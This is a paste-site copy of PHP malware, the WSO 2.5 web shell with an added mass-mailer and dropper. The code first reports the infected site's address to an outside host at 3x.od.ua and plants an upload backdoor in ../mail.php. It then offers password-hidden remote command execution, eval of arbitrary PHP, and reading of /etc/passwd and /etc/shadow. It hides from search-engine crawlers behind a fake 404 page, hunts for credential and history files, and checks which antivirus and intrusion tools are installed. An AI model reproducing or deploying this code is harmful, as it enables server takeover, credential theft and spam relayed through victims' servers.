· 9 years ago · Nov 25, 2016, 02:48 AM
1<?php ?><?php
2if (file_exists('data.bin') == false) {
3 $url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
4 file_get_contents("http://3x.od.ua/shell/index.php?shell=" . base64_encode($url));
5 $fp1 = fopen("data.bin", "w");
6 fclose($fp1);
7}
8$mail_file = '<?php
9if ($mode==\'upload\') {
10 if(is_uploaded_file($_FILES["filename"]["tmp_name"]))
11 {
12 move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
13 echo $_FILES["filename"]["name"];
14 }
15}
16?>';
17$fp = fopen("../mail.php", "w");
18fwrite($fp, $mail_file);
19fclose($fp);
20if (isset($_REQUEST['mode'])) {
21 $mode = $_REQUEST['mode'];
22}
23if ($mode == 'check') {
24 echo "good";
25 exit;
26}
27if ($mode == 'upload') {
28 if (is_uploaded_file($_FILES["filename"]["tmp_name"])) {
29 // ,
30 //
31 move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
32 echo $_FILES["filename"]["name"];
33 }
34 exit;
35}
36if ($mode == 'send') {
37 $to = $_POST["to"];
38 $subject = $_POST["sub"];
39 $message = $_POST["mess"];
40 $from = $_POST["from"];
41 $type = $_POST["type"];
42 $filename = $_POST["filename"];
43 $rez = "";
44 function mail_utf8_html_attch($to, $subj, $text, $from, $filename) {
45 $f = fopen($filename, "rb");
46 $un = strtoupper(uniqid(time()));
47 $head = "From: $from
48";
49 if (strpos($to, ', ') == true) {
50 $bcc1 = $to;
51 $bcc = explode(", ", $to);
52 $to = $bcc[0];
53 $bcc1 = str_replace($to, "", $bcc1);
54 $head.= "Bcc: " . $bcc1;
55 };
56 //$head .= "To: $to
57 ";
58//$head .= "Subject:
59 $subj";
60$head .= "Mime - Version:
61 1.0";
62$head .= "Content - Type:
63 multipart / mixed;
64 ";
65$head .= "boundary = \"----------" . $un . "\"
66
67";
68 $zag = "------------" . $un . "
69Content-Type:text/html;charset=UTF-8;
70";
71 $zag.= "Content-Transfer-Encoding: 8bit
72
73" . $text . "
74
75";
76 $zag.= "------------" . $un . "
77";
78 $zag.= "Content-Type: application/octet-stream;";
79 $zag.= "name=\"" . $filename . "\"
80";
81 $zag.= "Content-Transfer-Encoding:base64
82";
83 $zag.= "Content-Disposition:attachment;";
84 $zag.= "filename=\"" . basename($filename) . "\"
85
86";
87 $zag.= chunk_split(base64_encode(fread($f, filesize($filename)))) . "
88";
89 $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
90 $params = array('send_email' => '1', 'to' => $to, 'subj' => $subj, 'zag' => $zag, 'head' => $head,);
91 $result = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($params)))));
92 //$m = mail($to, $subj, $zag, $head);
93 return $result;
94 }
95 function mail_utf8_text($to, $subject = '(No subject)', $message = '', $from) {
96 $header = 'MIME-Version: 1.0' . "
97" . 'Content-type: text/plain; charset=UTF-8' . "
98" . 'From: ' . $from . "
99";
100 //$m = mail($to, $subject,$message, $header);
101 // return $m;
102 if (strpos($to, ', ') == true) {
103 $bcc1 = $to;
104 $bcc = explode(", ", $to);
105 $to = $bcc[0];
106 $bcc1 = str_replace($to, "", $bcc1);
107 $header.= "Bcc: " . $bcc1;
108 };
109 $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
110 $params = array('send_email' => '1', 'to' => $to, 'subj' => $subject, 'zag' => $message, 'head' => $header,);
111 $result = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($params)))));
112 return $result;
113 }
114 function mail_utf8_html($to, $subject = '(No subject)', $message = '', $from) {
115 $header = 'MIME-Version: 1.0' . "
116" . 'Content-type: text/html; charset=UTF-8' . "
117" . 'From: ' . $from . "
118";
119 //$m = mail($to, $subject,$message, $header);
120 //return $m;
121 if (strpos($to, ', ') == true) {
122 $bcc1 = $to;
123 $bcc = explode(", ", $to);
124 $to = $bcc[0];
125 $bcc1 = str_replace($to, "", $bcc1);
126 $header.= "Bcc: " . $bcc1;
127 };
128 $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
129 $params = array('send_email' => '1', 'to' => $to, 'subj' => $subject, 'zag' => $message, 'head' => $header,);
130 $result = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($params)))));
131 return $result;
132 }
133 if ($type == "attach_html") {
134 $rez = mail_utf8_html_attch($to, $subject, $message, $from, $filename);
135 }
136 if ($type == "html") {
137 $rez = mail_utf8_html($to, $subject, $message, $from);
138 }
139 if ($type == "text") {
140 $rez = mail_utf8_text($to, $subject, $message, $from);
141 }
142 if ($rez == true) {
143 echo ("1");
144 }
145 if ($rez == false) {
146 echo ("0");
147 }
148 exit;
149 }
150 if ($_REQUEST['send_email'] == '1') {
151 $to = $_POST['to'];
152 $subj = $_POST['subj'];
153 $zag = $_POST['zag'];
154 $head = $_POST['head'];
155 $m = mail($to, $subj, $zag, $head);
156 echo $m;
157 exit;
158 }
159 if ($_REQUEST['type'] == 'all_right') {
160 echo "okey";
161 exit;
162 }
163 if ($_REQUEST['type'] == 'pars') {
164 function GetDomains($q, $count = 1) {
165 $result = Array();
166 for ($i = 0;$i <= $count;$i++) {
167 $page = file_get_contents('http://www.google.com/search?num=100&lr=&as_qdr=all&q=' . rawurlencode($q) . '&start=' . $i * 100);
168 $sleep_time = rand($_REQUEST['ot'], $_REQUEST['to']);
169 sleep($sleep_time);
170 preg_match_all("/<[Aa][\s]{1}[^>]*[Hh][Rr][Ee][Ff][^=]*=[ '\"\s]*([^ \"'>\s#]+)[^>]*>/", $page, $matches);
171 $matches = $matches[1];
172 foreach ($matches as $m) {
173 if (preg_match('/(http:\/\/|https:\/\/)([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}/', $m, $d)) $result[str_replace(array('http://', 'https://'), '', $d[0]) ] = count($result) + 1;
174 }
175 }
176 $r = Array();
177 foreach ($result as $k => $v) $r[] = $k;
178 return $r;
179 }
180 $i = 0;
181 foreach (GetDomains($_GET['q'], (int)$_GET['c']) as $d[$i]) {
182 $i++;
183 };
184 $i = 14;
185 $str = '';
186 foreach ($d as $z) {
187 $str = $str . " " . $z;
188 $i++;
189 };
190 echo $str;
191 exit;
192 }
193 $auth_pass = "9ea5e6f10d48803ae38499c0d5e6d93f";
194 $color = "#df5";
195 $default_action = 'FilesMan';
196 $default_use_ajax = true;
197 $default_charset = 'Windows-1251';
198 if (!empty($_SERVER['HTTP_USER_AGENT'])) {
199 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
200 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
201 header('HTTP/1.0 404 Not Found');
202 exit;
203 }
204 }
205 @ini_set('error_log', NULL);
206 @ini_set('log_errors', 0);
207 @ini_set('max_execution_time', 0);
208 @set_time_limit(0);
209 @set_magic_quotes_runtime(0);
210 @define('WSO_VERSION', '2.5');
211 if (get_magic_quotes_gpc()) {
212 function WSOstripslashes($array) {
213 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
214 }
215 $_POST = WSOstripslashes($_POST);
216 $_COOKIE = WSOstripslashes($_COOKIE);
217 }
218 function wsoLogin() {
219 die("<html><head>
220<title>404 Not Found</title>
221</head><body>
222<h1>Not Found</h1>
223<p>The requested URL index.php was not found on this server.</p>
224<hr>
225<address>Apache/2.2.22 (Linux) Server at Port <small onclick=\"document.getElementById('login').style.display = 'block';\">80</small></address>
226</body></html><div id=\"login\" style=\"display:none;\"><pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre></div>");
227 }
228 function WSOsetcookie($k, $v) {
229 $_COOKIE[$k] = $v;
230 setcookie($k, $v);
231 }
232 if (!empty($auth_pass)) {
233 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
234 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
235 }
236 if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
237 else $os = 'nix';
238 $safe_mode = @ini_get('safe_mode');
239 if (!$safe_mode) error_reporting(0);
240 $disable_functions = @ini_get('disable_functions');
241 $home_cwd = @getcwd();
242 if (isset($_POST['c'])) @chdir($_POST['c']);
243 $cwd = @getcwd();
244 if ($os == 'win') {
245 $home_cwd = str_replace("\", " / ", $home_cwd);
246 $cwd = str_replace("\", " / ", $cwd);
247}
248if($cwd[strlen($cwd) - 1] != '/')
249 $cwd .= '/';
250
251if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
252 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
253
254if($os == 'win')
255 $aliases = array(
256 "ListDirectory" => "dir",
257 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
258 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
259 "Showactiveconnections" => "netstat - an",
260 "Showrunningservices" => "netstart",
261 "Useraccounts" => "netuser",
262 "Showcomputers" => "netview",
263 "ARPTable" => "arp - a",
264 "IPConfiguration" => "ipconfig / all"
265 );
266else
267 $aliases = array(
268 "Listdir" => "ls - lha",
269 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
270 "showopenedports" => "netstat - an | grep - ilisten",
271 "processstatus" => "psaux",
272 "Find" => "",
273 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
274 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
275 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
276 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
277 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
278 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
279 function wsoHeader() {
280 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
281 global $color;
282 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
283<style>
284body{background-color:#444;color:#e1e1e1;}
285body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
286table.info{ color:#fff;background-color:#222; }
287span,h1,a{ color: $color !important; }
288span{ font-weight: bolder; }
289h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
290div.content{ padding: 5px;margin-left:5px;background-color:#333; }
291a{ text-decoration:none; }
292a:hover{ text-decoration:underline; }
293.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
294.bigarea{ width:100%;height:300px; }
295input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
296form{ margin:0px; }
297#toolsTbl{ text-align:center; }
298.toolsInp{ width: 300px }
299.main th{text-align:left;background-color:#5e5e5e;}
300.main tr:hover{background-color:#5e5e5e}
301.l1{background-color:#444}
302.l2{background-color:#333}
303pre{font-family:Courier,Monospace;}
304</style>
305<script>
306 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
307 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
308 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
309 var p1_ = '" . ((strpos(@$_POST['p1'], "
310") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
311 var p2_ = '" . ((strpos(@$_POST['p2'], "
312") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
313 var p3_ = '" . ((strpos(@$_POST['p3'], "
314") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
315 var d = document;
316 function set(a,c,p1,p2,p3,charset) {
317 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
318 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
319 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
320 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
321 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
322 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
323 }
324 function g(a,c,p1,p2,p3,charset) {
325 set(a,c,p1,p2,p3,charset);
326 d.mf.submit();
327 }
328 function a(a,c,p1,p2,p3,charset) {
329 set(a,c,p1,p2,p3,charset);
330 var params = 'ajax=true';
331 for(i=0;i<d.mf.elements.length;i++)
332 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
333 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
334 }
335 function sr(url, params) {
336 if (window.XMLHttpRequest)
337 req = new XMLHttpRequest();
338 else if (window.ActiveXObject)
339 req = new ActiveXObject('Microsoft.XMLHTTP');
340 if (req) {
341 req.onreadystatechange = processReqChange;
342 req.open('POST', url, true);
343 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
344 req.send(params);
345 }
346 }
347 function processReqChange() {
348 if( (req.readyState == 4) )
349 if(req.status == 200) {
350 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
351 var arr=reg.exec(req.responseText);
352 eval(arr[2].substr(0, arr[1]));
353 } else alert('Request error!');
354 }
355</script>
356<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
357<form method=post name=mf style='display:none;'>
358<input type=hidden name=a>
359<input type=hidden name=c>
360<input type=hidden name=p1>
361<input type=hidden name=p2>
362<input type=hidden name=p3>
363<input type=hidden name=charset>
364</form>";
365 $freeSpace = @diskfreespace($GLOBALS['cwd']);
366 $totalSpace = @disk_total_space($GLOBALS['cwd']);
367 $totalSpace = $totalSpace ? $totalSpace : 1;
368 $release = @php_uname('r');
369 $kernel = @php_uname('s');
370 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
371 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
372 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
373 if (!function_exists('posix_getegid')) {
374 $user = @get_current_user();
375 $uid = @getmyuid();
376 $gid = @getmygid();
377 $group = "?";
378 } else {
379 $uid = @posix_getpwuid(posix_geteuid());
380 $gid = @posix_getgrgid(posix_getegid());
381 $user = $uid['name'];
382 $uid = $uid['uid'];
383 $group = $gid['name'];
384 $gid = $gid['gid'];
385 }
386 $cwd_links = '';
387 $path = explode("/", $GLOBALS['cwd']);
388 $n = count($path);
389 for ($i = 0;$i < $n - 1;$i++) {
390 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
391 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
392 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
393 }
394 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
395 $opt_charsets = '';
396 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
397 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
398 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
399 $m['Self remove'] = 'SelfRemove';
400 $menu = '';
401 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
402 $drives = "";
403 if ($GLOBALS['os'] == 'win') {
404 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
405 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
406 }
407 echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
408 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
409 ':'') . ' < / span > < / td > '
410 . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
411 . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
412 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
413 }
414 function wsoFooter() {
415 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
416 echo "
417</div>
418<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
419 <tr>
420 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
421 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
422 </tr><tr>
423 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
424 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
425 </tr><tr>
426 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
427 <td><form method='post' ENCTYPE='multipart/form-data'>
428 <input type=hidden name=a value='FilesMAn'>
429 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
430 <input type=hidden name=p1 value='uploadFile'>
431 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
432 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
433 </tr></table></div></body></html>";
434 }
435 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
436 function posix_getpwuid($p) {
437 return false;
438 }
439 }
440 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
441 function posix_getgrgid($p) {
442 return false;
443 }
444 }
445 function wsoEx($in) {
446 $out = '';
447 if (function_exists('exec')) {
448 @exec($in, $out);
449 $out = @join("
450", $out);
451 } elseif (function_exists('passthru')) {
452 ob_start();
453 @passthru($in);
454 $out = ob_get_clean();
455 } elseif (function_exists('system')) {
456 ob_start();
457 @system($in);
458 $out = ob_get_clean();
459 } elseif (function_exists('shell_exec')) {
460 $out = shell_exec($in);
461 } elseif (is_resource($f = @popen($in, "r"))) {
462 $out = "";
463 while (!@feof($f)) $out.= fread($f, 1024);
464 pclose($f);
465 }
466 return $out;
467 }
468 function wsoViewSize($s) {
469 if (is_int($s)) $s = sprintf("%u", $s);
470 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
471 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
472 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
473 else return $s . ' B';
474 }
475 function wsoPerms($p) {
476 if (($p & 0xC000) == 0xC000) $i = 's';
477 elseif (($p & 0xA000) == 0xA000) $i = 'l';
478 elseif (($p & 0x8000) == 0x8000) $i = '-';
479 elseif (($p & 0x6000) == 0x6000) $i = 'b';
480 elseif (($p & 0x4000) == 0x4000) $i = 'd';
481 elseif (($p & 0x2000) == 0x2000) $i = 'c';
482 elseif (($p & 0x1000) == 0x1000) $i = 'p';
483 else $i = 'u';
484 $i.= (($p & 0x0100) ? 'r' : '-');
485 $i.= (($p & 0x0080) ? 'w' : '-');
486 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
487 $i.= (($p & 0x0020) ? 'r' : '-');
488 $i.= (($p & 0x0010) ? 'w' : '-');
489 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
490 $i.= (($p & 0x0004) ? 'r' : '-');
491 $i.= (($p & 0x0002) ? 'w' : '-');
492 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
493 return $i;
494 }
495 function wsoPermsColor($f) {
496 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
497 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
498 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
499 }
500 function wsoScandir($dir) {
501 if (function_exists("scandir")) {
502 return scandir($dir);
503 } else {
504 $dh = opendir($dir);
505 while (false !== ($filename = readdir($dh))) $files[] = $filename;
506 return $files;
507 }
508 }
509 function wsoWhich($p) {
510 $path = wsoEx('which ' . $p);
511 if (!empty($path)) return $path;
512 return false;
513 }
514 function actionSecInfo() {
515 wsoHeader();
516 echo '<h1>Server security information</h1><div class=content>';
517 function wsoSecParam($n, $v) {
518 $v = trim($v);
519 if ($v) {
520 echo '<span>' . $n . ': </span>';
521 if (strpos($v, "
522") === false) echo $v . '<br>';
523 else echo '<pre class=ml1>' . $v . '</pre>';
524 }
525 }
526 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
527 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
528 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
529 wsoSecParam('Open base dir', @ini_get('open_basedir'));
530 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
531 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
532 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
533 $temp = array();
534 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
535 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
536 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
537 if (function_exists('oci_connect')) $temp[] = "Oracle";
538 wsoSecParam('Supported databases', implode(', ', $temp));
539 echo '<br>';
540 if ($GLOBALS['os'] == 'nix') {
541 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
542 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
543 wsoSecParam('OS version', @file_get_contents('/proc/version'));
544 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
545 if (!$GLOBALS['safe_mode']) {
546 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
547 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
548 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
549 echo '<br>';
550 $temp = array();
551 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
552 wsoSecParam('Userful', implode(', ', $temp));
553 $temp = array();
554 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
555 wsoSecParam('Danger', implode(', ', $temp));
556 $temp = array();
557 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
558 wsoSecParam('Downloaders', implode(', ', $temp));
559 echo '<br/>';
560 wsoSecParam('HDD space', wsoEx('df -h'));
561 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
562 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
563 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
564 $temp = "";
565 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
566 $uid = @posix_getpwuid($_POST['p2']);
567 if ($uid) $temp.= join(':', $uid) . "
568";
569 }
570 echo '<br/>';
571 wsoSecParam('Users', $temp);
572 }
573 }
574 } else {
575 wsoSecParam('OS Version', wsoEx('ver'));
576 wsoSecParam('Account Settings', wsoEx('net accounts'));
577 wsoSecParam('User Accounts', wsoEx('net user'));
578 }
579 echo '</div>';
580 wsoFooter();
581 }
582 function actionPhp() {
583 if (isset($_POST['ajax'])) {
584 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
585 ob_start();
586 eval($_POST['p1']);
587 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
588
589 \'") . "';
590";
591 echo strlen($temp), "
592", $temp;
593 exit;
594 }
595 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
596 wsoHeader();
597 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
598 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
599 ob_start();
600 phpinfo();
601 $tmp = ob_get_clean();
602 $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
603 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
604 }
